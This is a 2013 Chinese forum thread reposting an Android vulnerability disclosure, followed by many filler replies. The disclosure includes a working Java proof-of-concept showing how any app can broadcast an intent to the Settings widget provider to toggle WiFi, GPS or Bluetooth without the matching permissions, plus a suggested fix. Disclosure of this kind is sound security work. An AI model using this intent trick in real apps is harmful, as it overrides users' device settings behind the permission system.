天泽在线_网页版CS_CS对战平台_Cs1.6_amxx_sma插件_CS论坛

标题: Android平台曝随意开启和关闭手机wifi功能漏洞 [打印本页]

作者: admin 时间: 2013-3-10 01:42
标题: Android平台曝随意开启和关闭手机wifi功能漏洞

披露状态：

2013-03-05：积极联系厂商并且等待厂商认领中，细节不对外公开
2013-03-05：厂商已经主动忽略漏洞，细节向公众公开

简要描述：
Settings应用含有com.android.settings.widget.SettingsAppWidgetProvider，其伴随有onReceive方法来实现相关功能的开启和关闭；然而问题是，任何应用都可以直接发送带有此方法的intent从而启动/关闭相应功能。

详细说明：
此漏洞已经在http://code.google.com上举报：
http://code.google.com/p/android/issues/detail?id=14602&q=exploit&colspec=ID%20Type%20Status%20Owner%20Summary%20Stars

不知此漏洞网站上有无，仅为得号！！！

漏洞证明：
发送下面的intent信息可以让应用触发WiFi, Bluetooth, and location provider states ,且不需要相关申请权限(CHANGE_WIFI_STATE, BLUETOOTH_ADMIN, and ACCESS_FINE_LOCATION, respectively):

Intent intent = new Intent("test");
intent.setClassName("com.android.settings",
"com.android.settings.widget.SettingsAppWidgetProvider");
intent.addCategory(Intent.CATEGORY_ALTERNATIVE);
intent.setData(Uri.fromParts("0", "0", "0")); // 0 is for WiFi
sendBroadcast(intent);

Change 0 to 3 for GPS and 4 for Bluetooth. You can also toggle Brightness and Sync settings with 1 and 2, respectively.

修复方案：
对此com.android.settings.widget.SettingsAppWidgetProvider组件添加权限

作者: 反恐精英 时间: 2013-3-10 02:56
又看了一次

作者: 玮璠官 时间: 2013-3-11 09:56
几头雾水…

作者: 理想在树梢 时间: 2013-3-11 11:13
你加油吧

作者: 大肚量 时间: 2013-3-16 15:23
有才的不在少数啊

作者: 传奇刀见笑 时间: 2013-3-18 02:28
问渠哪得清如许，为有源头活水来。

作者: 赖皮兔 时间: 2013-3-19 01:28
不错，看看。

作者: 唯一的爱 时间: 2013-3-22 00:52
这个贴不错！！！！！看了之后就要回复贴子，呵呵

作者: 木马 时间: 2013-3-22 07:05
一个鸡蛋跑到青藏高原，结果它变成了氢弹；

作者: LJQ 时间: 2013-3-24 20:00
不错，感谢楼主

作者: 枪狠马子多丶 时间: 2015-3-27 20:16
今天无聊来逛逛

作者: 是丶 时间: 2015-4-29 17:59
慢慢来，呵呵

作者: 金凯发 时间: 2015-6-6 00:10
想都不想，就支持一下

作者: 在世.瞬灭 时间: 2015-7-12 07:03
先顶后看

作者: 我爱凌姗 时间: 2015-8-16 14:22
站个位在说

作者: 逗比。 时间: 2015-10-20 17:56
偶真幸运哦...

作者: 透明塑料花 时间: 2015-11-27 14:48
回帖是种美德.

作者: 良子数据 时间: 2016-1-10 03:48
彪悍的人生不需要解释。

作者: 湖南平哥 时间: 2016-2-20 13:25
哈哈,有意思~顶顶，继续顶顶。继续顶哦

作者: 我不知带哦 时间: 2016-4-13 21:22
支持你加分

作者: 〣.安、雨熙 时间: 2016-6-16 03:14
真好。。。。。。。。。

作者: 际耀福 时间: 2016-7-27 10:33
谢谢分享了!

作者: 宁白晨 时间: 2016-9-25 09:48
哥最近喜欢上了顶贴，因为，如果帖子火了，那有哥的功劳。如果帖子被顶沉了....哥也会很有成就感...因为是哥搞沉的~~大家切记~不要迷恋哥~哥只是一个传说

作者: 淡淡的笔香 时间: 2016-11-19 20:17
希望大家都有好运

作者: 大鸡不敢吃春药 时间: 2017-1-17 21:17
支持一下吧

欢迎光临天泽在线_网页版CS_CS对战平台_Cs1.6_amxx_sma插件_CS论坛 (https://bbs.tianzept.com/)